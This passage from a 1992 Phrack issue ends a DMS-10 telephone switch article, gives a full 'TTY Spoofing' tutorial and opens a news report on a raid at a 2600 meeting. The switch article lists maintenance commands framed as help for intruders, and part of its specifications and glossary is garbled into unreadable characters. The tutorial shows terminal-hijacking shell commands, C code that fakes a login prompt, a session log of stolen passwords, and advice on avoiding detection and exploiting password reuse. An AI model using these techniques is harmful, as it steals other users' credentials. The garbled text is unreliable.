- - No MDF (Main Distribution Frame) wiring required
-
- Other External Hardware
-
- The DMS-10 can also support the Tellabs 292 Emergency Reporting System,
- the NT Model 3703 Local Test Cabinet, and the NT FMT-150 fiber optic
- transmission system. More on this stuff later, perhaps.
-
-
- IV. MAINTENANCE AND ADMINISTRATION
-
- OAM
- ---
- OAM, or Operations, Administration, and Maintenance functions, are
- performed through an on-site maintenance terminal or through a remote
- maintenance dial-in connection. The DMS-10 communicates at speeds ranging from
- 110 to 9600 baud through the RS-232C port (standard) in ASCII. There can be up
- to 16 connections or terminals for maintenance, and security classes may be
- assigned to different terminals, so that the terminal can only access the
- programs that are necessary for that person's job. The terminals are also
- password protected, and bad password attempts result in denied access, user
- castration and the detonation of three megatons of on-site TNT. <Just kidding>
-
- The software model for the DMS-10 consists of a core program which loads
- overlays for separate management functions. These overlays can be one of two
- types: either free-running, which are roughly analogous to daemons on Unix
- environments, which are scheduled automatically; or interactive, which
- communicate directly with the terminal user.
-
- The major free-running programs are the Control Equipment Diagnostic
- (CED), the Network Equipment Diagnostic (NED), the Peripheral Equipment
- Diagnostic (PED), and the Digital Equipment Diagnostic (DED). The CED runs
- once every 24 hours, and tests the equipment associated with the CPU buses and
- the backup CPU. The NED runs whenever it feels like it and scans for faults in
- the network and proceeds to deal with them, usually by switching to backup
- hardware and initiating alarm sequences. The PED is scheduled when the switch
- is installed to run whenever the telco wants it to, and it systematically tests
- every single trunk and line connected to that central office (CO). The DED
- tests the incoming line equipment that converts analog voice to digital PCM.
-
- Now, for interactive programs (a.k.a. interactive overlays), I'm going to
- list all of their codes, just in case one of you gets lucky out there. To
- switch to an overlay, type OVLY <overlay>. To switch to a sub-overlay, type
- CHG <sub-overlay>. Keep in mind that NT has also installed help systems on
- some of their software, accessible by pressing "?" at prompts. Here we go:
-
- Overlay Explanation and Prompting Sequences
- ------- -----------------------------------
- ALRM Alarms
-
- ALPT - Alarm scan points
- SDPT - Signal distribution points
-
- AMA Automatic Message Accounting
-
- AMA - Automatic Message Accounting
- MRTI - Message-rate treatment index
- PULS - Message-rate pulsing table
- TARE - Tariff table
-
- AREA Area
-
- CO - Central Office Code
- HNPA - Home Numbering Plan Area
- RC - Rate Center
- RTP - Rate Treatment Package
-
- CLI Calling Line Identification
-
- CNFG Configuration Record
-
- ALRM - Alarm System Parameters
- AMA - Automatic Message Accounting parameters
- BUFF - System Buffers
- CCS - Custom Calling Services
- CCS7 - Common Channel Signaling No. 7
- CDIG - Circle Digit Translation
- CE - Common Equipment Data
- CLUS - Cluster data
- COTM - Central Office overload call timing
- CP - Call processing parameters
- CROT - Centralized Automatic Reporting of Trunks
- CRTM - Central Office regular call processing timing
- CSUS - Centralized Automatic Message Accounting suspension
- DLC - Data Link Controller assignment for clusters
- E800 - Enhanced 800 Service
- FEAT - Features
- GCON - Generic Conditions
- HMCL - Host message class assignment
- IOI - Secondary input/output interface pack(s)
- IOSF - Input/Output Shelf Assignment
- LCDR - Local Call Detail Recording
- LIT - Line Insulation Testing parameters
- LOGU - Logical Units Assignments
- MOVE - Move Remote Line Concentrating Module
- MTCE - Maintenance Parameters
- MTU - Magnetic Tape Unit Parameters
- OPSM - Operational Measurements
- OVLY - Overlay scheduling
- PSWD - Password Access
- SITE - Site assignments
- SSO - Satellite Switching Office Assignments
- SUB - Sub Switch
- SYS - System parameters
- TRB - Periodic trouble status reporting
- VERS - Version
-
- CPK Circuit Pack
-
- ACT - AC Testing Definition
- DCM - Digital Carrier Module
- LPK - Line Concentrating Equipment line packs
- PACK - Peripheral Equipment packs
- PMS - Peripheral Maintenance System pack
- PSHF - Peripheral Equipment Shelf
- RMM - Remote Maintenance Module
- RMPK - Remote shelf
- RSHF - Remote Concentration Line Shelf
- SBLN - Standby line
- SLC - SLC-96
- SLPK - SLC-96 pack
-
- DN Directory Number
-
- ACDN - Access Directory Number
- CRST - Specific Carrier Restricted
- ICP - Intercept
- RCFA - Remote Call Forwarding appearance
- ROTL - Remote Office Test Line
- STN - Station Definition
-
- EQA Equal Access
-
- CARR - Carrier Data Items
- CC - Country Codes
-
- HUNT Hunting
-
- DNH - Directory Number Hunting
- EBS - Enhanced Business Services hunting
- KEY - Stop hunt or random make busy hunting
-
- LAN Local Area Network
-
- LAC - LAN Application Controller
- LCI - LAN CPU Interface
- LSHF - Message LAN Shelf
-
- NET Network
-
- D1PK - DS-1 interface pack (SCM-10S)
- 1FAC - Interface packs
- LCM - Line Concentrating Module
- LCMC - Line Concentrating Controller Module
- NWPK - Network Packs
- RCT - Remote Concentrator Terminal
- REM - Remote Equipment Module
- RSLC - Remote Subscriber Line Module Controller
- RSLE - Remote Subscriber Line Equipment
- RSLM - Remote Subscriber Line Module
- SCM - Subscriber Carrier Module (DMS-1)
- SCS - SCM-10S shelf (SLC-96)
- SRI - Subscriber Remote Interface pack
-
- NTWK Network
-
- ACT - AC Testing definition
- D1PK - DS-1 interface pack (SCM-10S)
- DCM - Digital Carrier Module
- 1FAC - Interface packs
- LCM - Line Concentrating Module
- LPK - Line Concentrating Equipment line packs
- NWPK - Network packs
- PACK - Peripheral Equipment packs
- PMS - Peripheral Maintenance System packs
- PSHF - Peripheral Equipment Shelf
- RCT - Remote Concentrator Terminal
- REM - Remote Equipment Module
- RSHF - Remote Shelf
- SBLN - Standby line
- SCM - Subscriber Carrier Module
- SCS - SCM-10S Shelf (SLC-96)
- SLC - SLC-96
- SLPK - SLC-96 Line Packs
- SRI - Subscriber Remote Interface (RLCM)
-
- ODQ Office Data Query
-
- ACDN - Access Directory Number
- CG - Carrier group
- CNTS - Counts
- DN - Directory Number
- DTRK - Digital Trunks (line and trunk)
- LINE - Lines (line and trunk)
- PIN - Personal Identification Number
- STOR - Memory Storage
- TG - Trunk Group
- TRK - Trunks (line and trunk)
-
- QTRN Query Translations
-
- ADDR - Address Translations
- EBSP - Enhanced Business Services prefix translations
- ESAP - Emergency Stand-Alone Prefix
- PRFX - Prefix translations
- SCRN - Screening translations
- TRVR - Translation verification
-
- ROUT Routes
-
- CONN - Nailed-up connections
- DEST - Destinations
- POS - Centralized Automatic Message Accounting positions
- ROUT - Routes
- TR - Toll regions
-
- SNET CCS7 Signaling Network
-
- SNLS - Signaling Link Set
- SNL - Signaling Link
- SNRS - Signaling Network Route Óeô
- TÇ Tòuîk Gòoõpó
- IÎC Énãoíiîg tòuîk gòoõpó
- ÏÕÔ Ïõôçïéîç ôòõîë çòïõðó ²×ÁÙ Ô÷ï÷áù ôòõîë çòïõðóÔÈÇÐ Ôèïõóáîäó ÇòïõðóÔÒÁà Ãáìì ÔòáãéîçÔÒË Ôòõîëó ÄÔÒË Äéçéôáì Ôòõîëó ÔÒË Áîáìïç ïò äéçéôáì òåãïòäåä áîîïõîãåíåîô ôòõîëó
- ÔÒÎÓ Ôòáîóìáôéïîó ÁÄÄÒ Áääråóó ôòáîóìáôéïîs ÅÂÓÐ ÅÂÓ ðòåæéø ôòáîóìáôéïîó ÅÓÁÐ Åíåòçåîãù ÓôáîäÁìïîå ðòåæéø ÐÒÆØ Ðòåæéø ôòáîóìáôéïîó ÓÃÒÎ Óãòååîéîç ôòáîóìáôéïîóÖ® ÓÐÅà ÓÈÅÅÔÍáøéíõí £ Óõâóãòéâåò Ìéîåóº ±°¬¸°° ¨éî óôáîäáìïîå íïäå©
- Íaøiíuí £ Ôrõnësº ³,´0¸
- - Iîcïménç Ôrõnë Çrïuðsº ±2·
- - Oõtçoénç Ôrõnë Çrïuðsº ±2·
- - Ô÷owáy Tòuîk Gòoõpó: ±2·
- - Máxémõm Rïuôeóº µ1²
- - Máøémõm Ôòõîëó ðeò Çrïuð: ²5µ
- Déråcôoòy Nõmâeòsº ±6¬0°0
- Ïfæiãe Cïdåsº ¸
- Hïmå Îuíbårénç Ðlán Aòeá: 4
- Ôhïuóaîdó Çrïuðsº 6´
- Nõmâeò ïf Nåt÷oòk Gòoõpó: ± ïr 2Ôïôáì Îåô÷ïòë Ãáðáãéôùº Ïîå Îåô÷ïòë Íïäõìåº µ¬´°° ÐÏÔÓ ìéîåó « ¶°° ôòõîëó Ô÷ï Îåô÷ïòë Íïäõìåº ±°¬¸°° ÐÏÔÓ ìénåó « ±¬²°0 tòõîkó
- Ôòáææéc Âõóy Hïuò Ãaìló ³¸¬°°0 Ávårágå Âusy Såaóon 2¹,°°°
- Âõóù Èoõò Áôôåíðtó
- - ÃÃÓ ðår lénå µ®±¸ ãåîôé ãáìì óåãïîäó ÃÃÓ ðåò ôòõîë ²·®° ãåîôé ãáìì óåãïîäó Ôïôáì ÃÃÓ ±³³¬°°° ãåîôé ãáìì óåãïîäóÏõôðõìóéîç DÐ, MÆ, oò ÄTÍF
- Éîðuìsénç
- - Tòuîkó ÄP¬ ÍF¬ ïr DÔMÆ
- - Lines DP or ÄTÍF
-
- Registår Capácétù
- - Oõtgoéng DÐ=±6 dégétó
- DÔMF½±¶ dégétó
- MF=14 digits«KÐ+ST LEAS ÍF½2° äiçiôs+KP+ST
- [LEAS Route Access]
-
- - Incoming DP=14 digits
- DTMF=16 digits
- MF=14 digits
-
-
- VI. LIMITED GLOSSARY
-
- DP - Dial Pulse. A form of signaling thaô ôòáîóíéôó ðõìóå ôòáéîó ôï éîäéãáôå äéçéôó® Óìï÷ ãïíðáòåä ôï ÄÔÍÆ áîd ÍÆ® Íáäå ïâóïìåôå âù ÄÔÍÆ® Ïìä óôåðâùóôåð swéôchåó õóå ôèéó íåthïd¬ áîä therå are ótéìì quitå a æe÷
- sõâscriber lines that uóå ÄЬ eveî though DTMÆ is availabìå®Éîâáîä Óéçîáìéîç Ôòáîóíéôôéîç ãïîôòïì óéçîáìó éî ôèå ³°° ³³°° èú öïéãå âáîä¬ íåáîéîç ôèáô ôèåù§òå áõäéâìå ôï óõâóãòéâåòó®Ïõôïæâáîä Óéçîáìéîç Ôòáîóíéôôéîç ãïîôòïì óéçîáìó áâïöå ïò âåìï÷ ôèå ³°° ³³°° èú öïéce band. See ÓÓ7, ÃÃÓ7.
-
- ÄÔMF - Dõáì Ôïîå MõìôéÆòåñõåîãù® A fïòí of én-âáîä óéçîáliîç ôèáô ôòanóíéôó ô÷ï tïîåó óéíõìtaîåouóìù ôï éîäéãáôå a äéçéô® Ïîå ôïîå éîäéãáôåó ôèå òï÷ áîä ôèå ïôèåò éîäéãáôåó á ãïìõíî® Á æasô¬ ôåãèîéãáììù óéíðìå way of
- dialing that is in use almost all over the United States. White boxes
- generate DTMF tones, a.k.a. "Touch Tones" or Digitones. See DP, MF.
-
- MF - Multi-frequency. A form of in-band signaling similar to DTMF, except the
- signals are encoded differently (i.e., the row and column tones are
- different, because the keypad for MF tones isn't laid out in a rectangular
- matrix). These are the "operator tones." Blue boxes generate these
- tones. See DTMF, In-band signaling.
-
- CCS7 - Common Channel Signaling 7. Part of the Signaling System 7
- specification, CCS7 transmits control signals either above or below the
- voice band to control switch equipment, so control signals may be
- transmitted simultaneously with voice. See SS7.
-
- SS7 - Signaling System 7. An inter-switch signaling protocol developed by
- Bellcore, the RBOCs' research consortium. Relatively new, this protocol
- can be run only on digital switches. See CCS7, CLASS.
-
- CLASS - Custom Local Area Signaling Services. Several subscriber-line features
- that are just being introduced around the United States at the time of
- this article. See SS7, CCS7.
-
- Centrex - A scheme that turns a switch into an off-site PBX for business users.
- It can usually co-exist with existing lines.
-
-
- If anyone has any more questions, contact me at WWIVNet THE CAVALIER@3464.
-
- Thanks to Northern Telecom (the nicest sales staff in the world of switch
- manufacturers, with a killer product to boot!), Pink Flamingo, Taran King,
- Grim, and the crew who supported the NFX in "days of yore."
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 8 of 13
-
- ++++++++++++++++++++++++++++
- +++++++ +++++++
- +++++++ TTY SPOOFING +++++++
- +++++++ +++++++
- ++++++ BY ++++++
- +++++ +++++
- +++ VaxBuster +++
- ++ ++
- ++++++++++++++++++++++++++++
-
- July 16, 1992
-
-
- Please note that this file is ONLY to be distributed as part of Phrack,
- and will NOT be distributed to any other person or magazine for release.
-
- More detailed instructions have been provided so that the novice hacker is
- able to understand them; therefore, all experienced hackers should be able to
- breeze right through this without having to worry about the specific command
- syntax provided.
-
- On UNIX systems, there are many ways to obtain account names and
- passwords. Some hackers prefer to swipe the password file and run programs
- like Crack and Killer Cracker on them in order to get account names and
- passwords. Others rely on bugs or holes in the system in order to gain root
- access. Both these methods work, but what do you do if your password file is
- shadowed (and it is NOT a yellow pages file!)? And what do you do if all the
- holes have been patched over from years of previous hackers abusing them? Well,
- I happen to have found a system where all this is true. I have even allowed
- hackers to use one of my accounts to try to gain root privs, and of the 10 or
- so that have tried, they have all failed. My only recourse was to find SOME
- other way to get accounts on the system to maintain MY security.
-
- TTY spoofing is often looked at as being lame, and some don't even
- consider it a "hacking technique." People usually completely overlook it, and
- many others don't even know about it, or know HOW to do it. I suppose I should
- start out by defining the term. TTY spoofing is either installing a Trojan
- horse type program to sit and watch a certain (or multiple) tty and wait for a
- user to login. Instead of getting the normal system prompt, the program YOU
- installed echoes the standard "login:" prompt, and then after they type in
- their username, it prompts them for "<username> password:" and boom, you have a
- new account. This can be done by a program or, in many cases, manually.
-
- Of all the people I know, 90 percent of them scream at me saying that this
- is impossible because their system doesn't allow read/write access to the tty.
- When I make references to tty, I mean the physical device filename or
- /dev/ttyxx where xx is either numeric, alphabetic, or alphanumeric characters
- (e.g., 03, pa, p4 are all valid). Of all the systems I've been on, I've never
- seen one that doesn't allow reading/writing to a LOGIN process. See, the
- system doesn't change the tty to owner r/w ONLY until AFTER HIS USERNAME AND
- PASSWORD HAS BEEN VERIFIED. Console, or ttyco, is an exception where the perms
- are ALWAYS -rw------.
-
- Now that you know WHAT tty spoofing is and the general idea behind WHY it
- works, I'll start to tell you the many ways it can be done.
-
- In order to tty spoof, you MUST have at least ONE valid account on the
- system. You can obtain the account via a little social engineering, or you
- could try a /who *sitename in the IRC to get nicknames and use their username
- and try to hack out the password. Try looking for users in #hottub and other
- st00pid channels because they are the ones who would tend to have the easy
- passwords. Or use any other method that you can think of to obtain an account.
-
- Once you have an account, the rest is the easy part. Simply create a
- script in vi or emacs that redirects input from UNUSED tty's to cat. Since you
- are cat's standard output, everything coming FROM the monitored tty will come
- to your screen. You probably want to watch about 10 or 15 terminals. An
- example script would be:
- cat </dev/tty01&
- cat </dev/tty02&
- cat </dev/ttypa&
- cat </dev/ttyp1&
-
- Then you want to just run your script with source. Once a user walks up
- to a terminal (or remotely logs in via telnet, etc.), they will try to press
- return and attempt to get a login prompt. Many users will also type their
- username, thinking that the system is just waiting for it. Make sure you write
- down the username. After a while, they will probably start pressing control
- characters, like control-d or z or whatever. Here's the problem: when CAT
- encounters the ^D, it thinks that it is receiving an EOF in the file and it
- thinks its job is done. You'll get something to the effect of:
-
- [2] Exit DONE cat </dev/tty01
-
- or
-
- [2] Exit 1 cat:i/o error cat </dev/tty01
-
- You want to IMMEDIATELY (if not sooner) "recat" that terminal. Once you get
- that DONE signal, you now know WHAT terminal is active. You want to then type
- something to the effect of 'echo -n "login:" >/dev/tty01&'. The & is important
- because if the user decided to switch terminals, echo could lock up and freeze
- your control on the account. If after about 10 seconds echo doesn't come back
- as:
-
- [5] Exit DONE echo -n login: >/dev/tty01
-
- KILL the process. When you ran the echo command, the shell gave you a
- processid. Just type KILL processid. If the done echo line DOES come back,
- that means that it was successfully printed on the user's screen. He will then
- type in his username. WRITE THIS DOWN. If you are ever in doubt that the word
- on your screen is a username, type 'grep word /etc/passwd' and if a line comes
- up, you know it's valid. If grep doesn't return anything, still keep it
- because it might be a password. Then wait about 2 seconds, and type
- 'echo -n "<username> password:" >/dev/tty01&' again using the & to prevent
- lockage. If that command doesn't come back in about 10 seconds, kill the
- process off and you can assume that you lost the user (e.g. he moved to another
- terminal). If the done echo line DOES come back, then in about 2 seconds, you
- SHOULD see his password come up. If you do, write it down, and boom, you have
- a new account.
-
- This may seem like a time consuming process and a lot of work, but
- considering that if you have macros with the "cat </dev/tty" command and the
- echo -n commands preset, it will be a breeze. Okay - so you say to yourself,
- "I'm a lazy shit, and just want passwords to be handed to me on a silver
- platter." With a little bit of work, you can do that! Below is a few lines of
- C source code that can be used to automate this process. Anyone who knows C
- should be able to put something together in no time.
-
- #include <stdio.h>
-
- FILE *fp, *fp2;
- char username[10], password[10];
-
- main()
- {
- fp=fopen("/dev/ttyp1", "r");
- fp2=fopen("/dev/ttyp1", "w");
-
- fprintf(fp2, "login:");
- fscanf(fp, "%s", &username);
-
- /* Put delay commands in here */
-
- fprintf(fp2, "%s password:", username);
- fscanf(fp, "%s", @password);
-
- printf("Your new account info is %s, with password %s.", username,
- password);
- }
-
- This is a VERY basic setup. One could fairly easily have the program take
- arguments from the command line, like a range of tty's, and have the output
- sent to a file.
-
- Below is an actual session of manual tty spoofing. The usernames and
- passwords HAVE been changed because they will probably be active when you read
- this. Some c/r's and l/f's have been cut to save space. Please notice the
- time between the startup and getting a new account is only seven minutes.
- Using this technique does not limit the hacked passwords to dictionary
- derivatives like Crack and other programs.
-
- source mycats ; This file contains cats
- ; for terminals tty03 - tty10
- [1] 29377
- /dev/tty03: Permission denied ; All this means is that someone is logged
- in
- ; and has their mesg set to NO. Ignore it.
-
- [1] Exit 1 cat < /dev/tty03
- [2] 29378
- [3] 29379
- /dev/tty06: Permission denied
- /dev/tty05: Permission denied
- [4] Exit 1 cat < /dev/tty06
- [3] Exit 1 cat < /dev/tty05
- /dev/tty07: Permission denied
- [3] Exit 1 cat < /dev/tty07
- /dev/tty08: Permission denied
- [3] Exit 1 cat < /dev/tty08
- [2] + Stopped (tty input) cat < /dev/tty04 ;This was the terminal I
- was
- ;on - it's automatically
- ;aborted...
- [3] 29383
- <5:34pm><~> /dev/tty09: Permission denied
- [3] Exit 1 cat < /dev/tty09
- <5:34pm><~> source mycats2 ;This one contains 34 - 43
-
- [3] 29393
- [4] 29394
- [5] 29395
- [6] 29396
- [7] 29397
- [8] 29398
- [9] 29399
- /dev/tty36: Permission denied
- /dev/tty37: Permission denied
- /dev/tty38: Permission denied
- /dev/tty39: Permission denied
- /dev/tty40: Permission denied
- /dev/tty34: Permission denied
- /dev/tty35: Permission denied
-
- [9] Exit 1 cat < /dev/tty40
- [8] Exit 1 cat < /dev/tty39
- [7] Exit 1 cat < /dev/tty38
- [6] Exit 1 cat < /dev/tty37
- [5] Exit 1 cat < /dev/tty36
- [4] Exit 1 cat < /dev/tty35
- [3] Exit 1 cat < /dev/tty34
-
- [1] 29400
- [3] 29401
- [4] 29402
-
- <5:34pm><~> /dev/tty41: Permission denied
-
- [1] Exit 1 cat < /dev/tty41
- /dev/tty43: Permission denied
- [4] Exit 1 cat < /dev/tty43
- /dev/tty42: Permission denied
- [3] Exit 1 cat < /dev/tty42
-
- <5:34pm><~> source mycats3 ;This contains p1-pa
-
- [3] 29404
- [4] 29405
- [5] 29406
- [6] 29407
- [7] 29408
- /dev/ttyp1: Permission denied
- /dev/ttyp3: Permission denied
- /dev/ttyp5: Permission denied
- /dev/ttyp6: Permission denied
-
- [8] Exit 1 cat < /dev/ttyp6
- [7] Exit 1 cat < /dev/ttyp5
- [5] Exit 1 cat < /dev/ttyp3
- [3] Exit 1 cat < /dev/ttyp1
- [7] 29410
- [8] 29411
- [9] 29412
- [1] 29413
-
- <5:34pm><~> /dev/ttyp7: Permission denied
-
- [7] Exit 1 cat < /dev/ttyp7
- /dev/ttypa: Permission denied
- [1] Exit 1 cat < /dev/ttypa
-
- <5:34pm><~> source mycats4 ;Last one is q0-qa
-
- [1] 29426
- [3] 29427
- [5] 29428
- [7] 29429
- [10] 29430
- [11] 29431
- /dev/ttyq5: Permission denied
-
- [10] Exit 1 cat < /dev/ttyq5
- [12] 29432
- [10] 29433
- [13] 29434
- [14] 29435
- <5:34pm><~> who
-
- <5:34pm><~> nnnnnnnnrlogin unx ; He thought he didn't type it right.
- pigsnort ; Important! Write down ALL non-
- ; system sent messages!
- <5:35pm><~>
- grep pigsnort /etc/passwd ; Check with grep to see if it's an
- ; account.
-
- <5:35pm><~> ; Didn't return anything - must be a
- ; a password!
-
- nnnpptst8 ; Sure looks like an account name to
- nnnnn===== ; me! Write it down!
-
- ls
-
- [8] Done cat < /dev/ttyp8 ; Asshole pressed control-d.
- ; 'recat' the terminal!
-
- <5:36pm><~> cat < /d e v/ ttyp8& ; This is the 'recat.'
-
- [8] 29459
- <5:36pm><~> cat: read error: I/O error ; Asshole is now trying all
- ; sorts of control characters
- ; sending UNIX into a fit.
- [4] Exit 1 cat < /dev/ttyp2
-
- <5:36pm><~> cat </dev/ttyp2& ; 'recat' it!
-
- [4] 29465
- <5:36pm><~>
-
- <5:36pm><~>
-
- [6] Done cat < /dev/ttyp4 ; Someone had to press the
- ; character, so this is active.
-
- <5:36pm><~> cat </dev/ttyp4& ; 'recat' the ctrl-d.
-
- [6] 29468
- <5:36pm><~> echo -n "login:" >/dev/ttyble1 ; Try echo'ing a fake login
- cat: read error: I/O error ; to the active terminal.
-
- [6] Exit 1 cat < /dev/ttyp4
- poop4d ; Here goes another password.
- p4 ; Couldn't find the matching
- & ; account.
-
- [6] 29470
- <5:37pm><~> cat: read error: I/O error
-
-
- [4] Exit 1 cat < /dev/ttyp2
-
-
- <5:37pm><~> cat </dev/ttyp2&
-
- [4] 29489
- <5:37pm><~> echo -n "login:" >/dev/ttyp2& ; Try echo'ing a fake login
- ; prompt again.
- [15] 29490
- <5:37pm><~> kill 29490 ; Login prompt didn't return
- ; within a few seconds so we
- ; kill it.
-
- [15] Terminated echo -n login: > /dev/ttyp2
- <5:37pm><~> cat </dev/tty
- echo -n "login:" >/dev/ttyp4&
-
- [15] 29491
- <5:38pm><~> kill 29491
-
- <5:38pm><~> grep pptst8 /etc/passwd ; Make sure it's an account!
-
- pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash
- <5:38pm><~> grep ble1 /etc/passwd ; This isn't an account...
-
- <5:39pm><~> grep poop4d /etc/passwd ; Neither is this - probably
- ; a password...
-
- <5:39pm><~> who ; See if any of the users we
- ; caught fell through an
- ; 'uncatted' terminal...
-
- <5:39pm><~> ps -x ; View all our processes.
- ; DAMN glad that the cat's
- PID TT STAT TIME COMMAND ; don't come up in the process
- 29266 04 S 0:04 -tcsh (tcsh) ; list!
- 29378 04 T 0:00 cat
- 29412 04 I 0:00 -tcsh (tcsh)
- 29426 04 I 0:00 -tcsh (tcsh)
- 29427 04 I 0:00 -tcsh (tcsh)
- 29428 04 I 0:00 -tcsh (tcsh)
- 29429 04 I 0:00 -tcsh (tcsh)
- 29431 04 I 0:00 -tcsh (tcsh)
- 29432 04 I 0:00 -tcsh (tcsh)
- 29433 04 I 0:00 -tcsh (tcsh)
- 29434 04 I 0:00 -tcsh (tcsh)
- 29435 04 I 0:00 -tcsh (tcsh)
- 29459 04 I 0:00 -tcsh (tcsh)
- 29470 04 D 0:00 <exiting>
- 29489 04 I 0:00 -tcsh (tcsh)
- 29491 04 D 0:00 -tcsh (tcsh)
- 29547 04 R 0:00 ps -x
- <5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29
-
- 435 29459 29470 29489 289491 ;Kill off all processes.
-
- 29470: No such process
-
- [4] Terminated cat < /dev/ttyp2
- [8] Terminated cat < /dev/ttyp8
- [14] Terminated cat < /dev/ttyqa
- [13] Terminated cat < /dev/ttyq9
- [10] Terminated cat < /dev/ttyq8
- [12] Terminated cat < /dev/ttyq7
- [11] Terminated cat < /dev/ttyq6
- [7] Terminated cat < /dev/ttyq4
- [5] Terminated cat < /dev/ttyq3
- [3] Terminated cat < /dev/ttyq2
- [1] Terminated cat < /dev/ttyq1
- [9] Terminated cat < /dev/ttyp9
- [2] Terminated cat < /dev/tty04
-
- <5:41pm><~>
-
- [15] Terminated echo -n login: > /dev/ttyp4
- [6] Done echo -n login: > /dev/ttyp4
-
- <5:41pm><~> ps -x
-
- PID TT STAT TIME COMMAND
- 29266 04 S 0:04 -tcsh (tcsh)
- 29594 04 R 0:00 ps -x
- <5:41pm><~> logout
-
- Local -011- Session 1 disconnected from UNIX1
-
- Local> c unx ; Notice it's a different
- ; system but shares passwords.
- Local -010- Session 1 to UNX on node MYUNX established
-
- Welcome to ucuc.edu.
-
- login: ble1 ; Test out all the accounts
- ble1 password: [I tried poop4d] ; with all the passwords.
- Login failed.
- login: pptst8
- pptst8 password: [I tried poop4d here too.]
- Login failed.
- login: pptst8
- pptst8 password: [I typed pigsnort]
- Authenticated via AFS Kerberos. ; BINGO! We're in!
- Checking system rights for <pptst8>... login permitted.
- login 1.0(2), Authen
- Last login: Fri Jul 17 17:33:30 on tty11
-
- (1) unix $ ls ; Let's see what this sucker
- ; has...hmm...an IRC user, eh?
- Mail Mailbox News bin irc other junk private
- public
- (2) unix $ logout
-
- Local -011- Session 1 disconnected from UNX
-
- A few words of advice: Monitor the tty's when it's the busiest time of
- the day, usually about 11am on a university system. Kill all your processes
- before you hang up. Those processes that you run will sit on the system and
- can be found by sysadmins. Also, they will tie up those tty's that you are
- monitoring, which can also cause problems. Point is, you DON'T want to attract
- attention to what you're doing. Don't test the accounts you get immediately.
- If the victim happens to be doing a 'who' and sees two of himself, he is going
- to shit. Wait until later or use a different subsystem that won't show up on
- his 'who'.
-
- Don't take over accounts. All the real user has to do is call up the office
- and tell them that their password was changed. In two seconds, it'll be
- changed back, plus the sysadmin will be on the lookout so you're just one step
- BEHIND where you started. Once you have someone's account info, kill the cat
- that is sucking the terminal so that the user can log in normally. If he
- continues not to get ANYTHING, he may go and solicit some "professional" help,
- and THEY might know what's going on, so let the sucker log in. Another thing:
- with accounts you get.
-
- DO NOT DESTROY ANYTHING in the system, not in their account, and no where else
- if you get higher privs. Chances are that the person is NOT going to know
- someone has obtained their password, and will have NO reason to change it.
- Wait until his college term/semester ends and then monitor the file dates. If
- after about a month the dates don't change, change the password and do whatever
- you want to the account because he's probably done with it.
-
- Oh and one last thing. Once you have a valid account, grep the username and
- get the REAL name. Then grep the REAL name and find out all accounts on the
- system that the guy owns. Chances are that he is using the same password in
- multiple accounts!
-
- Thanks go to Pointman, #hack members, and the entire current/past Phrack staff
- for putting out an excellent magazine over the years.
-
- If you need to contact me, try the IRC in #hack and the VMB world. I usually
- prefer NOT to be contacted by e-mail, but if you have my address and have an
- important question, go for it. I'm willing to help any beginners who need it.
-
- Happy Hacking!
-
- VaxBuster '92
- _________________________________________________________________________________
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 11 of 13
-
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
- PWN PWN
- PWN Phrack World News PWN
- PWN PWN
- PWN Issue 41 / Part 1 of 3 PWN
- PWN PWN
- PWN Compiled by Datastream Cowboy PWN
- PWN PWN
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
-
-
- Reports of "Raid" on 2600 Washington Meeting November 9, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Barbara E. McMullen & John F. McMullen (Newsbytes)
-
- WASHINGTON, D.C. -- The publisher of a well-known hacker magazine claims a
- recent meeting attended by those interested in the issues his magazine raises
- was disrupted by threats of arrest by security and Arlington, Virginia police
- officers.
-
- Eric Corley, also known as "Emmanuel Goldstein," editor and publisher of "2600
- Magazine: The Hacker Quarterly," told Newsbytes that the meeting was held
- November 6th at the Pentagon City Mall outside Washington, DC was disrupted and
- material was confiscated in the raid.
-
- 2600 Magazine promotes monthly meetings of hackers, press, and other interested
- parties throughout the country. The meetings are held in public locations on
- the first Friday evening of the month and the groups often contact each other
- by telephone during the meetings.
-
- Corley told Newsbytes that meetings were held that evening in New York,
- Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los Angeles and San
- Francisco. Corley said, "While I am sure that meetings have been observed by
- law enforcement agencies, this is the only time that we have been harassed. It
- is definitely a freedom of speech issue."
-
- According to Craig Neidorf, who was present at the meeting and was distributing
- applications for membership in Computer Professionals For Social Responsibility
- (CPSR), "I saw the security officers focusing on us. Then they started to come
- toward us from a number of directions under what seemed to be the direction of
- a person with a walkie-talkie on a balcony. When they approached, I left the
- group and observed the security personnel encircling the group of about 30
- gatherers. The group was mainly composed of high school and college students.
- The guards demanded to search the knapsacks and bags of the gatherers. They
- confiscated material, including CPSR applications, a copy of Mondo 2000 (a
- magazine), and other material."
-
- He adds that the guards also confiscated film "from a person trying to take
- pictures of the guards. When a hacker called "HackRat" attempted to copy down
- the names of the guards, they took his pencil and paper."
-
- Neidorf continued, "I left to go outside and rejoined the group when they were
- ejected from the mall. The guards continued challenging the group and told
- them that they would be arrested if they returned. When one of the people
- began to take pictures of the guards, the apparent supervisor became excited
- and threatening but did not confiscate the film."
-
- Neidorf also said, "I think that the raid was planned. They hit right about
- 6:00 and they identified our group as "hackers" and said that they knew that
- this group met every month."
-
- Neidorf's story was supported by a Washington "hacker" called "Inhuman," who
- told Newsbytes, "I arrived at the meeting late and saw the group being detained
- by the guards. I walked along with the group as they were being ushered out
- and when I asked a person who seemed to be in authority his name, he pointed at
- a badge with his name written in script on it. I couldn't make out the name
- and, when I mentioned that to the person, he said 'If you can't read it, too
- bad.' I did read his name, 'C. Thomas,' from another badge."
-
- Inhuman also told Newsbytes that he was told by a number of people that the
- guards said that they were "acting on behalf of the Secret Service." He added,
- "I was also told that there were two police officers from the Arlington County
- Police present but I did not see them."
-
- Another attendee, Doug Luce, reports, "I also got to the DC meeting very late;
- 7:45 or so. It seemed like a coordinated harassment episode, not geared toward
- busting anyone, but designed to get people riled up, and maybe not come back to
- the mall."
-
- Luce adds that he overheard a conversation between someone who had brought a
- keyboard to sell. The person, he said, was harassed by security forces, one of
